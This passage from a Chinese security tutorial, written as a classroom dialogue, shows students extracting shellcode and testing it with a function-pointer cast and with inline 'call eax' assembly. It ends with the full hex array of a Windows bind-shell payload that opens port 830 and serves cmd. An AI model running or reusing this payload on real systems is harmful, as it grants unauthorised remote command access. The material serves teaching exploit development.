3.4.2 看谁抄得快——提取ShellCode

“我们还是用老办法,对嵌入的汇编程序pipe2ASM.cpp在VC下按F10进入调试状态,然后调出汇编对应的机器码,如图3-31。再然后嘛?嘿嘿……”

“知道啦,就是把它们抄下来嘛!”古风说道。

“天啊!这么多啊!”小倩吐了吐舌头。

“好,我们来组织个比赛——看谁抄得快。最先把ShellCode正确提取出来的获胜者可以得到一份神秘礼物!”老师说道。

“哦?好啊,好啊!”同学们纷纷拿出纸和笔。

老师发令:“预备!开始!”

台下奋笔疾书,有比赛就是不一样。

“抄完了!”古风最先说道。

过了一会,玉波也说道:“我也抄完了。”

宇强急死了,但他写字写得很慢,只好一笔一划的写下去。

老师等大家都完成得差不多了,说道:“好,大家可能都差不多完成了吧?”

“是啊,手都痛死了。”大家纷纷甩着又红又痛的手。

“哈哈!我第一!”古风一脸的灿烂。

玉波不服气,“那也不一定,如果你写错了一句呢?或者少抄了一句呢?”

“才不会呢!”

大家狂晕……

“不要吵,”老师出来调解,“我们来验证一下吧!”

3.4.3 验证ShellCode功能的方法

“提取了ShellCode后,怎么验证它是否正确呢?经常有人问如何知道那些16进制ShellCode的真正功能,这里就说一下。”

“第一种方法,我们打开VC,新建一个工程和C源文件,然后把ShellCode拷下来存为一个数组(这里我们先用玉波提取到的ShellCode吧)!最后在main中添上 ( (void(*)(void)) &shellcode )() ,得到‘testBindCode1.cpp’。”

(( void(*)(void)) &ShellCode)() 是什么意思?”大家问道。

(( (void(*)(void)) &ShellCode)() 这句是关键,它把ShellCode转换成一个参数为空、返回为空的函数指针,并调用它。执行那一句就相当于执行ShellCode数组里的那些数据。”老师解释道。

“要验证ShellCode是否正确完成功能,我们直接运行看效果就可以了。编译、执行,ShellCode打开了830端口,可以telnet成功,如图3-32,证明玉波同学的ShellCode提取是正确的。”

“哈哈,我是保证质量啊!”玉波笑道。

“我们再看看古风同学提取的ShellCode吧!使用第二种方法,在main里面直接嵌入汇编语句 lea eax, ShellCode, call eax 。这是先把ShellCode的地址给eax,然后call eax跳到ShellCode里面去执行。”

__asm
{
lea eax, ShellCode
call eax
}

“我们在main里加上图3-33里的这段汇编,然后执行,还是成功了!说明古风同学提取的也是正确的。”

“哈哈,太好了!我还担心有误呢!”古风笑呵呵的说。

“好,礼物闪亮登场!就是……赠送《Q版系列图书》一本。”

“哇!这么好啊!”其他人口水都流出来了。

“古风同学和玉波同学都差不多同时完成,而且都正确了。那这样吧,书非借不能读也,你们一人看三天,然后交换,过两个周后给我一个书面学习汇报,行不?”

“行!”两人一口答应,“这样也可以提高效率!”

“好的。其他同学可要加油啊!希望下一次得奖的是你们!”

“另外,两位同学的ShellCode在这里,大家可以对照一下。”

unsigned char ShellCode[] = 
    "\x55\x83\xEC\x50\x8B\xEC\xB8\x7A\x72\xE5\x77\x89\x45\x04\xB8\xB8"
    "\x1B\xE4\x77\x89\x45\x08\xB8\x24\x76\xE9\x77\x89\x45\x0C\xB8\x8C"
    "\x9D\xE5\x77\x89\x45\x10\xB8\x82\x8B\xE5\x77\x89\x45\x14\xB8\xB5"
    "\x5C\xE5\x77\x89\x45\x18\xB8\xDA\x41\xA2\x71\x89\x45\x1C\xB8\x22"
    "\x3C\xA2\x71\x89\x45\x20\xB8\xCE\x3E\xA2\x71\x89\x45\x24\xB8\xE2"
    "\x5D\xA2\x71\x89\x45\x28\xB8\x8D\x86\xA2\x71\x89\x45\x2C\xB8\xF4"
    "\x1A\xA2\x71\x89\x45\x30\xB8\x90\x56\xA2\x71\x89\x45\x34\xB8\x00"
    "\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x00\xC6\x45\x40\x00\xC6"
    "\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x02"
    "\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x20\x8B"
    "\xD8\x33\xFF\x57\x57\xB8\x02\x00\x03\x3E\x50\x8B\xF4\x6A\x10\x56"
    "\x53\xFF\x55\x24\x47\x47\x57\x53\xFF\x55\x28\x6A\x10\x8D\x3C\x24"
    "\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x47\x57\x33\xFF\x57\x6A"
    "\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x45\x38\x50\xFF\x55\x04"
    "\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\xFF\x55\x04\x81\xEC\x80"
    "\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x00\x00\x00\x59\xF3\xAB"
    "\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x2C\x8B\x45\x40\x89\x47"
    "\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x89\x47\x40\xB8\x63\x6D"
    "\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51"
    "\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x08\x81\xEC\x00\x04\x00"
    "\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x57\xB8\x00\x04\x00\x00"
    "\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x07\x85\xC0\x74\x19\x33"
    "\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x55\x14\x33\xC9\x51\xFF"
    "\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x51\xB8\x00\x04\x00\x00"
    "\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x51\x57\xFF\x37\x56\xFF"
    "\x75\x44\xFF\x55\x10\xEB\xA4";